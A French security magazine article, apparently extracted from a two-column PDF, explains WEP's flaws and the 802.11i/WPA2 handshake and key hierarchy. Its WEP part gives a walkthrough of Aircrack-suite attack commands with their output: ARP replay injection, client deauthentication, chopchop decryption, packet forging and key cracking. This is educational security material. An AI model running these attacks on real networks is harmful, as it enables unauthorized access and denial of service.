Sunteți pe pagina 1din 15

Sécurité Wi-Fi – WEP, WPA

et WPA2
Dossier

Guillaume Lehembre

Degré de difficulté

Le Wi-Fi (Wireless Fidelity) est une des technologies sans


fil dominante actuellement avec un support de plus en plus
intégré dans les équipements : ordinateurs portables, agendas
électroniques, téléphones portables, etc. Malheureusement,
un aspect de la configuration est souvent oublié et méconnu :
la sécurité. Voyons un peu le niveau de sécurité des différents
systèmes de chiffrement pouvant être utilisés dans les
implémentations modernes du Wi-Fi.

M
ême quand les mécanismes de sécu- où || représente l'opérateur de concaténation
rité sont activés sur les équipements et + l'opérateur XOR. Le vecteur d'initialisation
Wi-Fi, on constate dans la majorité est la clé de voûte de la sécurité du WEP, pour
des cas qu'il s'agit du protocole de chiffrement maintenir un niveau décent de sécurité et éviter
WEP s'étant avéré faillible. Dans cet article, nous la fuite d'information l'IV doit être incrémenté
examinerons les failles du protocole WEP et la pour chaque paquet afin que le paquet suivant
facilité de casser le protocole. L'inadéquation du soit chiffré avec une clé différente. Malheureu-
WEP souligne les besoins d'une nouvelle archi- sement pour la sécurité du protocole, l'IV est
tecture de sécurité : la norme IEEE 802.11i, que transmis en clair et le standard 802.11 ne rend
nous détaillerons avec les implémentations du pas obligatoire l'incrémentation de l'IV laissant
WPA et du WPA2, leurs premières vulnérabilités cette mesure de sécurité au bon vouloir de
mineures et leurs implémentations dans les sys-
tèmes d'exploitation.
Cet article explique...
La mort du WEP • les failles du protocole WEP,
Le WEP (Wired Equivalent Privacy) est le pro-
• une vue globale de la norme 802.11i et de ses
tocole de chiffrement par défaut introduit dans implémentations commerciales : le WPA et le
la 1ère norme 802.11 datant de 1999. Il est basé WPA2,
sur l'algorithme de chiffrement RC4 avec une clé • les notions de base du 802.1x,
secrète de 40 ou 104 bits combinée à un vec- • les failles potentielles du WPA et du WPA2.
teur d'initialisation (Initialisation Vector – IV) de
24 bits afin de chiffrer un message en clair M et Ce qu'il faut savoir...
sa somme de contrôle (checksum) – l'ICV (Inte-
grity Check Value). Le message chiffré est alors • les notions de base des protocoles TCP/IP et
déterminé en utilisant la formule suivante : Wi-Fi,
• les notions de base de la cryptograpie.
C = [ M || ICV(M) ] + [ RC4(K || IV) ]

12 hakin9 Nº 1/2006 www.hakin9.org


Sécurité WEP, WPA et WPA2

l'équipement sans fil (point d'accès


ou carte sans fil).

La brève histoire du WEP


Le protocol WEP ne fut pas créé par
des experts sécurité ou du monde de
la cryptographie, il s'avéra faillible
à un problème de l'algorithme RC4
décrit par David Wagner quatre ans
auparavant. En 2001, Scott Fluhrer,
Itsik Mantin et Adi Shamir (FMS pour
faire court) publièrent leur fameux Figure 1. Le protocole de chiffrement WEP
papier sur la sécurité WEP dans Ian Goldberg et David Wagner souli- Le fait d'injecter des paquets a
lequel ils détaillaient deux vulnéra- gnait déjà en 2001. permis de diminuer sensiblement
bilités dans l'algorithme de chiffre- Il était alors admis que le WEP le temps nécessaire pour casser le
ment RC4: l'invariance weaknesses fournissait une sécurité acceptable WEP, l'attaque ne nécessitant pas
et l'attaque par IV connu. Ces deux pour les particuliers et les applica- la capture de millions de trames
attaques reposent sur le fait que tions non critiques. Cette affirmation mais simplement un certain nombre
pour certaines valeurs de la clé, il est a été démentie avec l'apparition de de paquets avec des IV uniques
possible pour les 1er bits de la suite l'attaque de KoreK en 2004 (généra- – à partir de 150 000 paquets pour une
chiffrante de dépendre uniquement lisant l'attaque FMS en incluant les clé WEP 64 bits et 500 000 paquets
de quelques bits de la clé (normale- optimisation proposées par h1kari), pour une clé WEP de 128 bits. Grâce
ment chaque bit de la suite chiffrante et l'attaque inductive inverse de à l'injection de paquets, la collecte du
a 50% de chance d'être différent du Arbaugh permettant le décryptage nombre nécessaire d'information n'est
bit de la suite chiffrante précédente). arbitraire d'un paquet sans connais- plus qu'une question de minutes. Do-
Comme la clé est composée de la sance de la clé et l'injection de rénavant, le WEP peut être considéré
concaténation d'une clé secrète paquets. Des outils de cassage de mort (voir le Tableau 1) et ne devrait
et de l'IV, certaines valeurs de cet IV clés tel que Aircrack de Christophe plus être utilisé, même si une rotation
génèrent des clés dites faibles. Devine ou Weplab de José Ignacio des clés a été mise en place.
Ces vulnérabilités furent exploi- Sánchez implémentèrent ces nou- Les failles du WEP peuvent se
tées par des outils de sécurité tel Air- velles attaques et furent en mesure résumer ainsi:
snort, permettant de retrouver la clé de casser une clé WEP 128 bits en
WEP en analysant une importante moins de 10 minutes (ce temps pou- • faiblesse de l'algorithme RC4 au
quantité de trafic chiffré. Cette atta- vant être alongé suivant le point d'ac- sein du protocole WEP dûe à la
que se révélait fructueuse dans un cès et la carte sans fil utilisée). construction de la clé,
temps raisonnable sur des réseaux
Tableau 1. Chronologie de la mort du WEP
sans fil assez chargé au niveau trafic
mais nécessitait un temps de calcul Date Description
assez long. David Hulton (h1kari) Septembre 1995 Vulnérabilité potentielle dans RC4 (Wagner)
découvrit une amélioration de l'at- Octobre 2000 Première publication sur les faiblesses du WEP :
taque précédente en ne prenant Unsafe at any key size; An analysis of the WEP
pas uniquement en considération le encapsulation (Walker)
1er octet de la sortie de l'algorithme Mai 2001 An inductive chosen plaintext attack against WEP/
RC4 (comme dans la méthode FMS) WEP2 (Arbaugh)
mais aussi les suivants, cela permet-
Juillet 2001 Attaque bit flipping sur le CRC – Intercepting Mobile
tant de réduire significativement la
Communications : The Insecurity of 802.11 (Borisov,
quantité de données à capturer pour
Goldberg, Wagner)
l'analyse.
Le contrôle d'intégrité souffre Août 2001 Attaques FMS – Weaknesses in the Key Scheduling
aussi de sérieuses failles dûes à l'uti- Algorithm of RC4 (Fluhrer, Mantin, Shamir)
lisation de l'algorithme CRC32 choisi Août 2001 Sortie de AirSnort
pour cette tâche. Cet algorithme est Février 2002 Optimisation de l'attaque FMS par h1kari
fréquemment utilisé pour la détection Août 2004 Attaque de KoreK (IVs uniques) – sortie de chopchop
d'erreurs mais n'a jamais été consi- et chopper
déré cryptographiquement sûr pour
Juillet/Août 2004 Sortie d'Aircrack (Devine) et WepLab (Sanchez )
du contrôle d'intégrité à cause de sa
implémentant l'attaque de KoreK.
linéarité, c'est ce que Nikita Borisov,

www.hakin9.org hakin9 Nº 1/2006 13


Dossier

Listing 1. Activation du mode moniteur


Requête ARP
# airmon.sh start ath0 Le protocole ARP (Address Resolution
Interface Chipset Driver Protocol – RFC826) est utilisé pour fai-
ath0 Atheros madwifi (monitor mode enabled) re la correspondance entre des adres-
ses IP sur 32 bits et l'adresse Ethernet
sur 48 bits (les réseaux Wi-Fi utilisent
aussi le protocole Ethernet). Par exem-
Listing 2. Découverte des réseaux et des clients Wi-Fi environnants ple, quand une machine A (192.168.1.1)
# airodump ath0 wep-crk 0 veut communiquer avec une machine
B (192.168.1.2), l'adresse IP connue de
BSSID PWR Beacons # Data CH MB ENC ESSID B doit être traduite avec son adresse
00:13:10:1F:9A:72 62 305 16 1 48 WEP hakin9demo MAC correspondante. Pour réaliser
celà, la machine A envoie un message
BSSID STATION PWR Packets ESSID en diffusion contenant l'adresse IP de
00:13:10:1F:9A:72 00:0C:F1:19:77:5C 56 1 hakin9demo la machine B (Who has 192.168.1.2?
Tell 192.168.1.1). La machine cible, re-
connaissant que l'adresse IP du paquet
• la taille allouée aux IV est trop fai- nécessite la dernière version des correspond à la sienne, retourne une
ble (24 bits – moins de 5000 pa- pilotes modifiés. Ce mode est réponse révélant son adresse MAC
(192.168.1.2 is at 01:23:45:67:89:0A).
quets sont nécessaire pour avoir l'équivalent du mode promiscuous
La réponse est généralement mise en
50% de chance de collision) et la des réseaux filaires dans lequel on
cache.
réutilisation des IV est autorisée évite le rejet des paquets n'étant
(pas de protection contre le rejeu pas à destination de la machine se
des messages), trouvant dans ce mode (ceci est La 1ère étape consiste à activer
• aucun vrai contrôle d'intégrité (le généralement effectué au niveau de le mode moniteur sur les cartes
CRC32 est normalement utilisé la couche physique du modèle OSI) sans fil (ici un modèle basé sur un
pour la détection d'erreur et n'est autorisant ainsi la capture de tous les composant Atheros) afin de captu-
pas une fonction cryptographique paquets. Avec des pilotes modifiés, il rer tous le trafic (voir le Listing 1).
pour l'intégrité du fait de sa linéa- est possible d'injecter et de capturer L'étape suivante permet de découvrir
rité), simultanément le trafic en utilisant les réseaux sans fil environnants en
• aucun mécanisme interne de mi- une seule carte sans fil. scannant les 14 canaux utilisés par
se à jour des clés n'est présent. Le but de l'attaque est de générer les réseaux Wi-Fi (voir le Listing 2).
du trafic afin de capturer des IVs uni- Le résultat du Listing 2 peut être
Cassage de clé WEP en ques transmis entre un client légitime interprété de la façon suivante :
utilisant Aircrack et le point d'accès. Certaines don- un point d'accès avec le BSSID
Des attaques pratiques contre le WEP nées chiffrées sont facilement dé- 00:13:10:1F:9A:72 utilise le protocol
peuvent être facilement menées grâce tectables car elles ont des longueurs WEP sur le canal 1 avec le SSID
à des outils tel que Aircrack (outil créé fixes, des adresses destinations hakin9demo, un client identifié par la
par le chercheur français en sécurité fixes, etc. C'est le cas par exemple MAC 00:0C:F1:19:77:5C est associé
Christophe Devine). Aircrack est une des requêtes ARP (voir l’Encadré et authentifié sur ce réseau sans fil.
suite d'outils composée de 3 princi- Requête ARP envoyées à l'adresse Une fois le réseau cible de l'at-
paux binaires étant utilisé conjointe- destination de diffusion (FF:FF:FF: taque repéré, la capture doit être
ment pour retrouver la clé : FF:FF:FF) avec une taille fixe de réalisée sur le canal adéquat pour
68 octets. Ces requêtes ARP peu- éviter de perdre des paquets lors
• airodump : outil de capture ré- vent être rejouées afin de générer du passage sur les autres canaux.
seau utilisé pour découvrir les des réponses ARP d'un client légi- Cette étape fournit une sortie simi-
réseaux WEP environnants, time, ces messages étant chiffrés laire à l'étape précédente :
• aireplay : outil pour injecter artifi- avec de nouveaux IVs.
ciellement du trafic, Dans les exemples suivants, # airodump ath0 wep-crk 1
• aircrack : casseur de clé WEP 00:13:10:1F:9A:72 est l'adresse
utilisant les IVs uniques collectés MAC du point d'accès (BSSID) sur le Ensuite, il est possible de lancer
préalablement. canal 1 avec le SSID hakin9demo et l'injection de trafic avec aireplay en
00:09:5B:EB:C5:2B l'adresse MAC utilisant les informations précédem-
L'injection de trafic utilisant aireplay du client sans fil (utilisant le WEP ment découvertes. L'injection com-
n'est supportée que sur une certain ou WPA-PSK suivant les cas). La mencera dès qu'une requête ARP
nombre de puce Wi-Fi, le support plupart des commandes nécessitent correspondant au BSSID attaqué
pour l'injection en mode moniteur les privilèges root. sera capturée sur le réseau sans fil :

14 hakin9 Nº 1/2006 www.hakin9.org


Sécurité WEP, WPA et WPA2

# aireplay -3 \
-b 00:13:10:1F:9A:72 \
-h 00:0C:F1:19:77:5C \
-x 600 ath0
(...)
Read 980 packets
(got 16 ARP requests),
sent 570 packets...

L'étape finale consiste a utiliser air-


crack pour casser la clé WEP. Il est
possible de lancer cette étape sur le
fichier pcap alors que airodump cap-
ture toujours le trafic (voir les résul-
tats d'aircrack sur la Figure 2) :

# aircrack -x -0 wep-crk.cap

Figure 2. Résultat d'Aircrack après quelques minutes


Autres types
paquets de dé-authentification à il est possible de décrypter l'intégra-
d'attaques basées sur l'adresse de diffusion: lité du paquet et de retrouver la suite
Aircrack chiffrante associée. Il est important de
D'autres attaques intéressantes # aireplay -0 0 noter que l'incrémentation de l'IV n'est
peuvent être réalisées avec Aircrack. -a 00:13:10:1F:9A:72 pas obligatoire dans le protocole WEP,
Voyons quelques unes d'entre elles. ath0 il est donc possible de réutiliser la suite
chiffrante pour usurper d'autres pa-
Attaque 2 : Dé-authentification Attaque 3 : Décrypter un quets (en ré-utilisant le même IV).
Cette attaque peut être conduite pour paquet chiffré avec le La carte sans fil doit être basculée
découvrir un SSID caché (i.e. un protocole WEP sans connaître dans le mode moniteur sur le canal
identifiant non diffusé), pour capturer la clé adéquat (voir l'exemple précédent
le 4-Way Handshake WPA ou pour Cette attaque est basée sur la preuve pour la démarche à suivre). L'atta-
réaliser un déni de service (le sujet de concept publiée par KoreK appel- que doit être lancée contre un client
sera abordé plus loin dans la partie lée chopchop pouvant décrypter un légitime (toujours 00:0C:F1:19:77:5C
802.11i). Le but de cette attaque est paquet chiffré avec le protocole WEP dans notre cas), aireplay informera
de forcer la ré-authentification des sans avoir connaissance de la clé. Le l'attaquant de chaque paquet chiffré
clients, elle est rendue possible par contrôle d'intégrité implémenté dans le qu'il capturera (voir le Listing 3). Deux
le manque d'authentification des protocole WEP permet à un attaquant fichiers pcap sont créés : un pour
trames de contrôle (utilisées pour de modifier à la fois le contenu chiffré le paquet déchiffré et l'autre pour la
l'authentification, l'association, etc.) du paquet et le CRC correspondant. suite chiffrante associée. Le fichier
permettant à un attaquant d'usurper De plus, l'utilisation de l'opérateur de données résultant peut être lu par
les adresses MAC. XOR au sein du protocole WEP im- un lecteur adéquat (nous utiliserons
Un client sans fil peut être dé- plique qu'un octet dans le message tcpdump) – voir le Listing 4 pour un
authentifié en utillisant la commande chiffré dépend toujours du même octet ping échangé entre deux machines.
suivante, cette dernière usurpant du texte en clair. En coupant le mes- Une fois la suite chiffrante captu-
l'adresse MAC du BSSID pour en- sage chiffré de son dernier octet, le rée, il est possible d'usurper n'importe
voyer un paquet de dé-authentifica- message devient corrompu mais il est quel paquet chiffré. Ici une requête
tion à l'adresse MAC du client visé : possible de faire un choix sur la valeur ARP envoyée de 192.168.2.123 (00:
de l'octet correspondant du texte en 0C:F1:19:77:5C) à 192.168.2.103 :
# aireplay -0 5 clair et de corriger le texte chiffré.
-a 00:13:10:1F:9A:72 Si le paquet corrigé est réinjecté # arpforge \
-c 00:0C:F1:19:77:5C sur le réseau, il sera supprimé par replay_dec-0916-114019.xor \
ath0 le point d'accès si le choix fait est 1 \
incorrect (dans ce cas un nouveau 00:13:10:1F:9A:72 \
Une dé-authentification massive est choix doit être fait) mais pour un choix 00:0C:F1:19:77:5C \
aussi possible (mais pas toujours correct il relayera le paquet comme 192.168.2.123 \
très fiable) en usurpant continuel- à son habitude. En répétant l'attaque 192.168.2.103 \
lement le BSSID et en envoyant les sur tous les octets du message chiffré, forge-arp.cap

www.hakin9.org hakin9 Nº 1/2006 15


Dossier

secondes. Ce comportement peut


Listing 3. Décryptage d'un paquet WEP sans connaissance préalable être imité par aireplay en remplaçant
de la clé la seconde option (0) par 30.
# aireplay -4 -h 00:0C:F1:19:77:5C ath0
Read 413 packets... La norme 802.11i
Size: 124, FromDS: 0, ToDS: 1 (WEP) En janvier 2001, le groupe de travail
BSSID = 00:13:10:1F:9A:72 i fut crée à l'IEEE pour améliorer
Dest. MAC = 00:13:10:1F:9A:70
l'authentification et le chiffrement des
Source MAC = 00:0C:F1:19:77:5C
0x0000: 0841 d500 0013 101f 9a72 000c f119 775c .A.......r....w\
données au sein des réseaux 802.11.
0x0010: 0013 101f 9a70 c040 c3ec e100 b1e1 062c .....p.@......., En avril 2003, la Wi-Fi Alliance (une
0x0020: 5cf9 2783 0c89 68a0 23f5 0b47 5abd 5b76 \.'...h.#..GZ.[v association promouvant et certifiant
0x0030: 0078 91c8 adfe bf30 d98c 1668 56bf 536c .x.....0...hV.Sl les équipements Wi-Fi) publia une re-
0x0040: 7046 5fd2 d44b c6a0 a3e2 6ae1 3477 74b4 pF_..K....j.4wt.
commandation pour répondre aux in-
0x0050: fb13 c1ad b8b8 e735 239a 55c2 ea9f 5be6 .......5#.U...[.
0x0060: 862b 3ec1 5b1a a1a7 223b 0844 37d1 e6e1 .+>.[...";.D7...
quiétudes des entreprises concernant
0x0070: 3b88 c5b1 0843 0289 1bff 5160 ;....C....Q` la sécurité des réseaux sans fil. Ces
Use this packet ? y derniers étaient aussi au courant que
Saving chosen packet in replay_src-0916-113713.cap les clients n'étaient pas prêt à rempla-
Offset 123 ( 0% done) | xor = 07 | pt = 67 | 373 frames written in 1120ms
cer leurs équipements existants.
Offset 122 ( 1% done) | xor = 7D | pt = 2C | 671 frames written in 2013ms
(...)
En Juin 2004, la version finale
Offset 35 (97% done) | xor = 83 | pt = 00 | 691 frames written in 2072ms de la norme 802.11i fut adoptée et
Offset 34 (98% done) | xor = 2F | pt = 08 | 692 frames written in 2076ms le nom commercial WPA2 fut choisi
Saving plaintext in replay_dec-0916-114019.cap par la Wi-Fi Alliance. La norme IEEE
Saving keystream in replay_dec-0916-114019.xor
802.11i introduit des changements
Completed in 183s (0.47 bytes/s)
fondamentaux comme la séparation
de l'authentification utilisateur et le
Finalement, aireplay peut être uti- utilisé pour falsifier une demande chiffrement/contrôle d'intégrité des
lisé pour rejouer ce paquet (voir le d'authentification et d'association messages, celà permettant une
Listing 5). pour le SSID hakin9demo (BSSID: architecture de sécurité robuste
Cette méthode est moins 00:13:10:1F:9A:72) avec l'adresse passant à l'échelle et convenant par-
automatique que l'attaque propre MAC usurpée 0:1:2:3:4:5. faitement tant aux entreprises qu'aux
à Aircrack de construction de re- Certaines bornes nécessitent la particuliers. La nouvelle architecture
quête ARP (l'option -1) mais elle est ré-assocition du client toutes les 30 pour les réseaux sans fil est appellée
beaucoup plus modulaire – l'atta-
quant peut utiliser la suite chiffrante Listing 4. Lecture d'un fichier pcap issu de l'attaque 3
qu'il a découverte pour forger n'im-
porte quel paquet dont la taille est # tcpdump -s 0 -n -e -r replay_dec-0916-114019.cap
reading from file replay_dec-0916-114019.cap, link-type IEEE802_11 (802.11)
inférieure à la suite chiffrante (dans
11:40:19.642112 BSSID:00:13:10:1f:9a:72 §
le cas contraire il doit l'agrandir). SA:00:0c:f1:19:77:5c DA:00:13:10:1f:9a:70
LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000),
Attaque 4 : Fausse ethertype IPv4 (0x0800): 192.168.2.103 > 192.168.2.254:
authentification ICMP echo request, id 23046, seq 1, length 64

Les méthodes pour casser le proto-


cole WEP énoncées précédemment
(Attaque 1 à 3) nécessitent un client Listing 5. Rejeu d'un paquet forgé
sans fil légitime (physique ou virtuel,
# aireplay -2 -r forge-arp.cap ath0
un client physique étant généralement Size: 68, FromDS: 0, ToDS: 1 (WEP)
plus adéquat) associé au point d'accès BSSID = 00:13:10:1F:9A:72
pour que ce dernier ne supprime pas Dest. MAC = FF:FF:FF:FF:FF:FF
les paquets à cause d'une adresse de Source MAC = 00:0C:F1:19:77:5C
0x0000: 0841 0201 0013 101f 9a72 000c f119 775c .A.......r....w\
destination d'un client non associé.
0x0010: ffff ffff ffff 8001 c3ec e100 b1e1 062c ...............,
Si une authentification ouverte 0x0020: 5cf9 2785 4988 60f4 25f1 4b46 1ab0 199c \.'.I.`.%.KF....
est utilisée, n'importe quel client 0x0030: b78c 5307 6f2d bdce d18c 8d33 cc11 510a ..S.o-.....3..Q.
peut s'authentifier et s'associer sur 0x0040: 49b7 52da I.R.
le point d'accès, ce dernier suppri- Use this packet ? y
Saving chosen packet in replay_src-0916-124231.cap
mant ensuite les paquets non en-
You must also start airodump to capture replies.
voyés avec la bonne clé WEP. Dans Sent 1029 packets...
l'exemple de la Listing 6, aireplay est

16 hakin9 Nº 1/2006 www.hakin9.org


Sécurité WEP, WPA et WPA2

RSN (Robust Security Network) et


utilise l'authentification 802.1X, la Listing 6. Fausse authentification
rotation et la distribution des clés et # aireplay -1 0 -e hakin9demo -a 00:13:10:1F:9A:72 -h 0:1:2:3:4:5 ath0
de nouveaux mécanismes d'intégrité 18:30:00 Sending Authentication Request
et de chiffrement. 18:30:00 Authentication successful
Bien que l'architecture RSN soit 18:30:00 Sending Association Request
18:30:00 Association successful
plus complexe, elle a le mérite de
proposer une solution sécurisée pou-
vant passer facilement à l'échelle. Un • l'authentification 802.1X, sage Association Request validé par
RSN devrait typiquement accepter • la dérivation et la distribution des le message Association Response
uniquement des équipements ca- clés, du point d'accès. Les informations de
pables de supporter les RSN mais • le chiffrement et l'intégrité au sein la politique de sécurité sont envoyées
l'IEEE 802.11i a aussi défini une archi- d'une RSNA. dans le champ RSN IE (Information
tecture temporaire TSN (Transitional Element) détaillant :
Security Network) dans laquelle les Phase 1 : Mise en accord sur
équipements RSN et les systèmes la politique de sécurité • les méthodes d'authentification
WEP peuvent coexister permettant La première phase permet aux deux supportées (802.1X, clé pré-par-
ainsi aux utilisateurs de mettre à jour parties communicantes de s'accorder tagée (PSK)),
leurs équipements. Si la procédure sur la politique de sécurité à utiliser. • le protocole de sécurité pour
d'authentification ou d'association Les politiques de sécurité supportées le chiffrement du trafic vers
utilisée entre deux stations est basé par le point d'accès sont diffusées une seule destination (unicast)
sur le 4-Way Handshake, l'association dans les trames Beacon et Probe (CCMP, TKIP, etc.) – suite de
est appellée RSNA (Robust Security Response (suivant un message Probe chiffrement pairwise,
Network Association). Request du client). Une authentifica- • le protocole de sécurité pour le
Un contexte de communication tion ouverte standard constitue l'étape chiffrement du trafic en diffusion
sécurisé s'effectue en quatre phases suivante (comme celle utilisée dans (multicast) (CCMP, TKIP, etc.)
(voir la Figure 4) : les réseaux TSN, cette authentifica- – suite de chiffrement de groupe,
tion est toujours positive). La réponse • le support de la pré-authentifica-
• la mise en accord sur la politique du client aux politiques de sécurité tion permettant aux utilisateurs
de sécurité, supportées est incluse dans le mes- de se pré-authentifier avant de

IEEE 802.1X et EAP


Le procotole d'authentification 802.1X (aussi connu sous le nom culier – un simple processus fonctionnant sur le point d'accès). La
de contrôle d'accès basé sur le port (Port-Based Network Access Figure 3 illustre comment ses entités communiquent entre elles.
Control)) est un cadre de travail développé initialement pour le La norme 802.11i apporte quelques modifications à la norme
réseau filaire fournissant l'authentification, l'autorisation, les mé- IEEE 802.1X pour l'adapter aux réseaux sans fils et en particulier
chanismes de distribution des clés en implémentant un contrôle pour la protéger du vol d'identité. L'authentification des messages
d'accès pour les utilisateurs se connectant au réseau. L'architec- a été incluse pour garantir que le client 802.1X et le contrôleur (la
ture 802.1X est consituée de trois entités fonctionnelles : borne) calculent correctement leurs clés secrètes et activent le
chiffrement avant de communiquer sur le réseau.
• le client 802.1X (supplicant) voulant joindre le réseau, Le client 802.1X et le contrôleur communiquent en utilisant
• le contrôleur (authentifcator) contrôlant l'accès au réseau, un protocole basé sur EAP. Il est important de comprendre que
• le serveur d'authentification (authentication server) prenant le contrôleur joue un rôle passif – il transmet simplement tous les
les décisions d'autorisation. messages au serveur d'authentification. EAP est un cadre de tra-
vail pour le transport de méthodes d'authentification variées basé
Dans les réseaux sans fil, le point d'accès joue le rôle de contrô- sur un nombre limité de messages (Request, Response, Success,
leur. Chaque port physique (port virtuel dans le cas des réseaux Failure), tandis que les messages intermédiaires sont dépendant
sans fil) est divisé en deux ports logiques appellés PAE (Port de la méthode d'authentification sélectionnée: EAP-TLS, EAP-
Access Entity). Le PAE d'authentification est toujours ouvert et TTLS, PEAP, Kerberos V5, EAP-SIM, etc. Quand le processus
autorise toutes les trames d'authentification à le traverser tandis complet est achevé, les deux entités (i.e. le client 802.1X et le
que le PAE de service est uniquement ouvert après une authenti- serveur d'authentification) partagent une clé maîtresse secrète.
fication réussie (i.e. dans un état autorisé) pour une durée limitée Le protocole utilisé dans les réseaux sans fils pour transporter
(3600 secondes par défaut). La décision relative à l'accès revient EAP s'appelle EAPOL (EAP Over LAN), les communications
à la troisième entité appellée serveur d'authentification (qui peut entre le contrôleur et le serveur d'authentification utilisent des
être soit un serveur Radius dédié ou – par exemple pour les parti- protocoles de plus haut niveau tel que Radius, etc.

www.hakin9.org hakin9 Nº 1/2006 17


Dossier

et serveur (nécessitant une infras-


tructure à clé publique), EAP/TTLS
ou PEAP pour des authentifications
hybrides (où le certificat est unique-
ment nécessaire côté serveur) etc.
L'authentification 802.1X est initiée
lorsque le point d'accès demande
les données d'identification du client,
la réponse du client contient alors la
méthode d'authentification préférée.
Différents messages – dépendant de
la méthode spécifique choisie – sont
alors échangés par la suite entre le
client et le serveur d'authentification
afin de générer une clé maîtresse
(Master Key – MK). À la fin de la pro-
Figure 3. Modèle IEEE 802.1X issu de la norme IEEE 802.1X cédure, un message Radius Accept
est envoyé du serveur d'authentifi-
cation au point d'accès contenant la
MK ainsi qu'un message final EAP
Success pour le client. La Figure 6
illustre cette seconde phase.

Phase 3 : Hiérarchie et
distribution des clés
La sécurité des transmissions repose
essentiellement sur des clés secrètes.
Dans les RSN, chaque clé a une du-
rée de vie limitée et de nombreuses
clés sont utilisées, organisées dans
une hiérarchie. Quand un contexte de
sécurité est établi après une authenti-
fication réussie, des clés temporaires
(de sessions) sont créées et régulière-
Figure 4. Les phases opérationnelles du 802.11i
ment mises à jour jusqu'à la fermeture
du contexte. La génération et l'échan-
ge des clés est le but de cette troi-
sième phase. Deux poignées de main
(Handshake) ont lieu pour dériver les
différentes clés (voir la Figure 7) :

• Le 4-Way Handshake pour la


dérivation de la PTK (Pairwise
Transient Key) et de la GTK
(Group Transient Key),
• Le Group Key Handshake pour le
renouvellement de la GTK.

La dérivation de la PMK (Pairwise


Master Key) dépend de la méthode
Figure 5. Phase 1 : La mise en accord sur la politique de sécurité d'authentification choisie :
basculer sur un nouveau point Phase 2 : Authentification
d'accès pour un handover en 802.1X • si la PSK (Pre-Shared Key) est
douceur. La seconde phase consiste en utilisée, PMK = PSK. La PSK
l'authentification 802.1X basée sur est générée à partir de la phrase
La Figure 5 illustre cette première EAP et la méthode spécifique choi- secrète (composée de 8 à 63 ca-
phase. sie: EAP/TLS avec certificat client ractères) ou directement à partir

18 hakin9 Nº 1/2006 www.hakin9.org


Sécurité WEP, WPA et WPA2

d'une chaîne de 256 bits, cette


méthode est adaptée pour les
particuliers n'ayant pas de ser-
veur d'authentification,
• si un serveur d'authentification
est utilisé, la PMK est dérivée de
la MK issue de l'authentification
802.1X.

La PMK en elle même n'est jamais


utilisée pour le chiffrement ou le
contrôle d'intégrité. Néanmoins, elle
est utilisée pour la génération de clés
de chiffrement temporaires – pour le
trafic à destination d'une machine il
s'agit de la PTK (Pairwise Transient
Key). La taille de la PTK dépend Figure 6. Phase 2 : L'authentification 802.1X
du protocol de chiffrement choisi :
512 bits pour TKIP et 384 bits pour
CCMP. La PTK consiste en plusieurs
clés temporelles dédiées :

• KCK (Key Confirmation Key


– 128 bits) : Clé pour authentifier
les messages (MIC) durant le
4-Way Handshake et le Group
Key Handshake,
• KEK (Key Encryption Key
– 128 bits) : Clé pour la confi-
dentialité des données durant le
4-Way Handshake et le Group
Key Handshake,
Figure 7. Phase 3 : Dérivation et distribution de clé
• TK (Temporary Key – 128 bits) :
Clé pour le chiffrement des
données (utilisée dans TKIP ou
CCMP),
• TMK (Temporary MIC Key
– 2x64 bits) : Clé pour l'authentifi-
cation des données (utilisée seu-
lement par Michael dans TKIP).
Une clé dédiée est utilisée pour
chaque sens de communication.

Cette hiérarchie peut être résumée


en Figure 8.
Le 4-Way Handshake, initié par le
point d'accès, permet :

• de confirmer la connaissance de
la PMK par le client,
• de dériver une nouvelle PTK,
• d'installer les clés de chiffrement
Figure 8. Phase 3 : Hiérarchie de clé Pairwise
et d'intégrité,
• de chiffrer le transport de la Quatre messages EAPOL-Key sont La PTK est dérivée de la PMK,
GTK, échangés entre le client et le point d'une chaîne de caractère fixe, de
• de confirmer la suite de chiffre- d'accès durant le 4-Way Handshake. l'adresse MAC du point d'accès,
ment choisie. Voyez la Figure 9. de l'adresse MAC du client et de

www.hakin9.org hakin9 Nº 1/2006 19


Dossier

rectement dérivé la PTK puis les clés


temporelles.
Le troisième message est envoyé
par le contrôleur au client et contient
la GTK (chiffrée avec la clé KEK),
dérivée d'une GMK et d'un GNonce
aléatoire (voir la Figure 10 pour des
détails), accompagnée d'un MIC
calculé sur le troisième message en
utilisant la clé KCK. Quand le client
reçoit ce message, le MIC est vérifié
pour s'assurer que le contrôleur con-
nait la PMK et qu'il a correctement
dérivé la PTK puis les clés tempo-
relles.
Le dernier message acquitte
la réussite de tous le Handshake
et indique que le client a correcte-
ment installé les clés et qu'il est prêt
à commencer le chiffrement des
données. Après réception du mes-
sage, le contrôleur installe ses clés
et vérifie la valeur du MIC. De cette
Figure 9. Phase 3 : 4-Way Handshake façon, le client mobile et le point d'ac-
cès ont obtenus, calculés et installés
les clés de chiffrement et d'intégrité
et sont maintenant en mesure de
communiquer sur un canal sûr pour
le trafic à destination d'une machine
ou en diffusion.
Le trafic en diffusion est protégé
par une autre clé, la GTK (Group
Transient Key), générée à partir
d'une clé maîtresse GMK (Group
Master Key), d'une chaîne fixe, de
l'adresse MAC du point d'accès
et d'un nombre aléatoire GNonce. La
longueur de la GTK dépend du pro-
tocole de chiffrement – 256 bits pour
TKIP et 128 bits pour CCMP. La GTK
est divisée en des clés temporelles
dédiées :

• GEK (Group Encryption Key) :


Clé pour le chiffrement des don-
Figure 10. Phase 3 : Hiérarchie de clé de groupe nées (utilisée par CCMP pour
deux nombres aléatoires (ANonce donc SNonce et le MIC calculé sur l'authentification et le chiffrement
et SNonce, générés respectivement le second message en utilisant la et par TKIP),
par le contrôleur et le client). Le point clé KCK. Quand le contrôleur re- • GIK (Group Integrity Key) : Clé
d'accès initie le premier message çoit le deuxième message, il peut pour l'authentification des don-
en choisissant un nombre aléatoire extraire SNonce (car le message nées (utilisée seulement par
Anonce puis l'envoie au client sans n'est pas chiffré) et calculer la PTK Michael avec TKIP).
le chiffrer et l'authentifier. Le client puis dériver les clés temporelles. Il
génère ensuite son propre nombre est maintenant en mesure de vérifier Cette hiérarchie peut être résumée
aléatoire SNonce et est maintenant la valeur du MIC contenu dans le en Figure 10.
en mesure de calculer la PTK et de second message, il s'assure ainsi Deux messages EAPOL-Key
dériver les clés temporelles, il envoie que le client connait la PMK et a cor- sont échangés entre le client et le

20 hakin9 Nº 1/2006 www.hakin9.org


Sécurité WEP, WPA et WPA2

point d'accès durant le Group Key


Handshake. Cette poignée de main
se base sur les clés temporelles gé-
nérées durant le 4-Way Handshake
(la KCK et la KEK). Ce processus est
